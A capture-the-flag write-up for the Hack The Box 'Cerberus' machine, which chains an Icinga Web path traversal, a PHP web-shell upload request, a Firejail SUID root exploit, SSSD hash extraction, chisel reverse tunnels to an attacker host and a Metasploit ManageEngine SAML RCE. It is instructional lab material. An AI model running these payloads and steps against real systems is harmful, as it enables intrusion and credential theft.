$ nmap -p- --min-rate 3000 -Pn 10.129.189.80
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-19 11:23 EDT
Nmap scan report for 10.129.189.80
Host is up (0.18s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
8080/tcp open http-proxy
We have to add icinga.cerberus.local to our /etc/hosts file in order to access port 8080.
Icinga LFI
Visiting port 8080 reveals this login page:
A bit of research reveals that Icinga is a network monitoring tool. Default credentials don't work, so we can head straight into a directory scan.
Found some interesting directories, but nothing was useful because we didn't have any credentials. Decided to enumerate on possible Icinga2 exploits online, and found some useful directory traversal related exploits.
We can follow the PoC present on the page, and find that it works!
$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/hosts
127.0.0.1 iceinga.cerberus.local iceinga
127.0.1.1 localhost
172.16.22.1 DC.cerberus.local DC cerberus.local
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
matthew:x:1000:1000:matthew:/home/matthew:/bin/bash
ntp:x:108:113::/nonexistent:/usr/sbin/nologin
sssd:x:109:115:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
nagios:x:110:118::/var/lib/nagios:/usr/sbin/nologin
redis:x:111:119::/var/lib/redis:/usr/sbin/nologin
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
icingadb:x:999:999::/etc/icingadb:/sbin/nologin
What was interesting is that, this is a Windows machine but it seems a Linux container is hosting it. Next, we can note that 172.16.22.1 is hosting the DC from the hosts file we read. Next, we can attempt to read some configuration files for this Icinga instance for the authentication or anything at all. The Icinga documentation reveals that there is some stored /etc/icingaweb2/authentication.ini.
With these credentials, we can login to the Icinga Web instance!
Icinga as Matthew -> RCE
I looked around, and determined that this was running Icinga Web 2 Version 2.9.2, which could be useful later. On the original page that gave us the directory traversal exploit, there was another RCE exploit, but I'm not sure how to exploit it yet.
I also found that as matthew, we could create new users. Reading the code from the Sonar website, we can see that there's a /$configDir/ssh/matthew directory that can store a private key.
This, combined with the RCE exploit above is a clear attack vector. We need to generate an SSH key and upload it (somehow) with the malicious path containing a reverse shell.
First we need to change the global_module_path to /dev as per the PoC. This can be done in /config/general.
Then, we can quickly enable the shm module in /config/moduleenable.
Afterwards, we need to create a new resource with a private SSH key and upload it. Thsi can be done through /config/resource and adding resources for SSH Identities. Afterwards, we can simply send another request with our exploit:
POST /icingaweb2/config/createresource HTTP/1.1Host:icinga.cerberus.local:8080User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:*/*Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencoded; charset=UTF-8X-Icinga-Accept:text/htmlX-Icinga-Container:col2X-Icinga-WindowId:jaevlhxwkugs_fgnrlsX-Requested-With:XMLHttpRequestContent-Length:287Origin:http://icinga.cerberus.local:8080Connection:closeReferer:http://icinga.cerberus.local:8080/icingaweb2/config/resourceCookie:Icingaweb2=tbt6c7vhlitggtddqjs9911s4v; icingaweb2-session=1679242760; icingaweb2-tzo=-14400-1type=ssh&name=notakey&user=.../../../../../../../dev/shm/shell.php&private_key=file:///etc/icingaweb2/ssh/test\x00<?php+system($_REQUEST['cmd']);?>&formUID=form_config_resource&CSRFToken=287102571%7Cfe7a12539b6a50fd04400ed33c28c9cd4db0ae08f0d2333067009010bd9c1861&btn_submit=Save+Changes
Visting the URL below would give us RCE!
With this, we can get a reverse shell.
Privilege Escalation
I ran LinPEAS on the machine to enumerate for me. We can find some ports that are open:
The MySQL database has nothing of interest. Port 80 was hosting nothing as well.
Firejail RCE
For SUID binaries, there were two that I didn't usually see:
We can check its version:
www-data@icinga:/etc$ firejail --version
firejail version 0.9.68rc1
This version is vulnerable to some RCE exploits, and since it is a SUID binary, we can use this to get to root. We can find a PoC on this website at the bottom of the page:
www-data@icinga:/tmp$ chmod +x firejail.py
www-data@icinga:/tmp$ ./firejail.py
You can now run 'firejail --join=1407' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
We have to repeat the RCE exploit that we did previously to make this work. Then, we can run the command and be able to become root. Take note we can just run su - for this to work.
Great! Now we have access as root on the Linux docker.
Docker Escape
Now that we had root user access on the container, we can enumerate the machine further. I spent a LOT of time looking around this machine. Checking the /opt directory, it seems we can view some Windows files:
root@icinga:/opt# ls
microsoft
root@icinga:/opt# ls -la
total 12
drwxr-xr-x 3 root root 4096 Jan 23 18:24 .
drwxr-xr-x 18 root root 4096 Jan 23 18:22 ..
drwxr-xr-x 3 root root 4096 Jan 23 18:24 microsoft
root@icinga:/opt# cd microsoft/
root@icinga:/opt/microsoft# ls -la
total 12
drwxr-xr-x 3 root root 4096 Jan 23 18:24 .
drwxr-xr-x 3 root root 4096 Jan 23 18:24 ..
drwxr-xr-x 3 root root 4096 Jan 23 18:24 powershell
root@icinga:/opt/microsoft# cd powershell/
root@icinga:/opt/microsoft/powershell# ls -la
total 32
drwxr-xr-x 3 root root 4096 Jan 23 18:24 .
drwxr-xr-x 3 root root 4096 Jan 23 18:24 ..
drwxr-xr-x 20 root root 24576 Jan 23 18:26 7
root@icinga:/opt/microsoft/powershell# cd 7
root@icinga:/opt/microsoft/powershell/7# ls -la
total 182788
drwxr-xr-x 20 root root 24576 Jan 23 18:26 .
drwxr-xr-x 3 root root 4096 Jan 23 18:24 ..
-rw-r--r-- 1 root root 1074 Nov 23 03:26 LICENSE.txt
-rw-r--r-- 1 root root 1348536 Nov 23 04:01 Markdig.Signed.dll
<TRUNCATED>
Credentials
We must remember that this machine is joined via to a domain somehow. I googled about credentials being left behind in the machine, and found this gem:
So sssd is a method of which Linux machines can store credentials. This is in-line with a certain createdump file I found in /opt/microsoft/powershell/7, which was a binary with some Red Hat data.
We can enumerate the /var/lib/sss directory to see if we can find anything useful. There's a db folder:
root@icinga:/var/lib/sss/db# ls -la
total 5036
drwx------ 2 root root 4096 Mar 2 12:33 .
drwxr-xr-x 10 root root 4096 Jan 22 18:12 ..
-rw-r--r-- 1 root root 1286144 Mar 22 13:23 cache_cerberus.local.ldb
-rw------- 1 root root 2715 Mar 2 12:33 ccache_CERBERUS.LOCAL
-rw------- 1 root root 1286144 Mar 22 13:23 config.ldb
-rw------- 1 root root 1286144 Jan 22 18:32 sssd.ldb
-rw-r--r-- 1 root root 1286144 Mar 1 12:07 timestamps_cerberus.local.ldb
When strings is used to view the cache_cerberus.local.ldb file, we can find a hashed password for matthew.
This hash can be cracked instantly:
Pivoting
Now we have credentials, but we don't have an avenue to use them. The nmap scan earlier only picked up on port 8080 being detectable from this machine. So, it is likely the next step is port forwarding. I downloaded the nmap binary onto the machine, and started to scan the internal networks.
Viewing the /etc/hosts file gave me the IP address of the DC:
I did a quick scan and found that the machine had port 5985 for WinRM open, meaning evil-winrm can be used to log in as matthew.
root@icinga:/tmp# ./nmap_binary -p 1-10000 172.16.22.1
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-03-22 14:10 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Stats: 0:01:31 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 44.80% done; ETC: 14:14 (0:01:52 remaining)
Stats: 0:02:51 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 84.80% done; ETC: 14:14 (0:00:31 remaining)
Nmap scan report for DC.cerberus.local (172.16.22.1)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (-0.12s latency).
Not shown: 9999 filtered ports
PORT STATE SERVICE
5985/tcp open unknown
MAC Address: 00:15:5D:5F:E8:00 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 186.05 seconds
We can port forward using chisel.
# on my machinechiselserver-p9001--reverse# on icinga./chiselclient10.10.16.18:9001R:5985:172.16.22.1:5985
Then we can evil-winrm in.
We can now capture the user flag!
AD Escalation
Now that we are in the main Windows machine, we can try to become the domain admin / administrator of the machine. Looking at the C:\Program Files (x86) directory, we can find a ManageEngine directory
*Evil-WinRM* PS C:\Program Files (x86)> ls
Directory: C:\Program Files (x86)
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/15/2018 12:28 AM Common Files
d----- 3/22/2023 7:09 AM Google
d----- 9/7/2022 4:34 AM Internet Explorer
d----- 1/29/2023 11:12 AM ManageEngine
d----- 9/15/2018 12:19 AM Microsoft.NET
d----- 8/24/2021 7:47 AM Windows Defender
d----- 8/24/2021 7:47 AM Windows Mail
d----- 9/7/2022 4:34 AM Windows Media Player
d----- 9/15/2018 12:19 AM Windows Multimedia Platform
d----- 9/15/2018 12:28 AM windows nt
d----- 8/24/2021 7:47 AM Windows Photo Viewer
d----- 9/15/2018 12:19 AM Windows Portable Devices
d----- 9/15/2018 12:19 AM WindowsPowerShell
This directory contained files for ADSelfService Plus. This was an AD service used for SSO and Password Management on the domain.
ADServicePlus Enumeration
From what I can gather, this service opens a port and runs a web application. We can verify this using netstat -an:
Port 9003 is the one we want after some testing. Port 8888 redirects me there for some reason and the rest of the ports weren't interesting. Let's try port forwarding to view the services running on these ports. We would have to port forward again using chisel to do this.
# on my machine, with proxychains set up to port 1080./chiselserver-p9003--reverse# on icinga WINDOWS./chiselclient10.10.16.18:9003R:1080:socks
Then we need to add DC.cerberus.local with the IP of 172.16.22.1 to our /etc/hosts file before we can visit this in Firefox with proxychains. Very similar to NUS's, interestingly.
We can login with matthew@cerberus.local and the password we found earlier. This does nothing for us, however. All it does is provide a URL with a token appended at the back:
One thing I've learnt with the newer HTB machines is that they always use newer exploits available. As such, we can try to find a new exploit for this software and try it:
The first was CVE-2022-47966, which was an Exec Code exploit. It seems to affect a huge number of versions based on reading some articles, so it might work. This particular exploit requires SAML SSO to be enabled, and it is on this website as the following link is visited when we first load the page before logging in:
I took a hint from the HTB forum, and it seems metasploit is the easiest way to exploit this. So let's boot msfconsole to exploit it. First, we can find the new module for this:
Either import the module or we can update metasploit and access the module via use exploit/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966. Looking at the options, the main ones to set are GUID and ISSUER_URL. The GUID must be the string we got after logging in. Based on the definition of the issuer URL, we can find it quite easily by googling SAML SSO identity provider. We can set the options below:
set RHOSTS 172.16.22.1
set LHOST tun0
set SSL true
set RPORT 9251
set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set ISSUER_URL http://dc.cerberus.local/adfs/services/trust
When executed, we would get a meterpreter shell as the SYSTEM user.
Using hints from the forum were really helpful, because I dislike using Metasploit and would have naturally avoided it.
Beyond Root
I feel that I should delve into a bit on how the exploit works since Metasploit is a black box after all. This vulnerability arises from an outdated dependency on Apache Santuario, which it self is vulnerable to RCE dating back to 2008.
I would try to explain the exploit, but the report itself does a way better job than I ever can. Check it out!
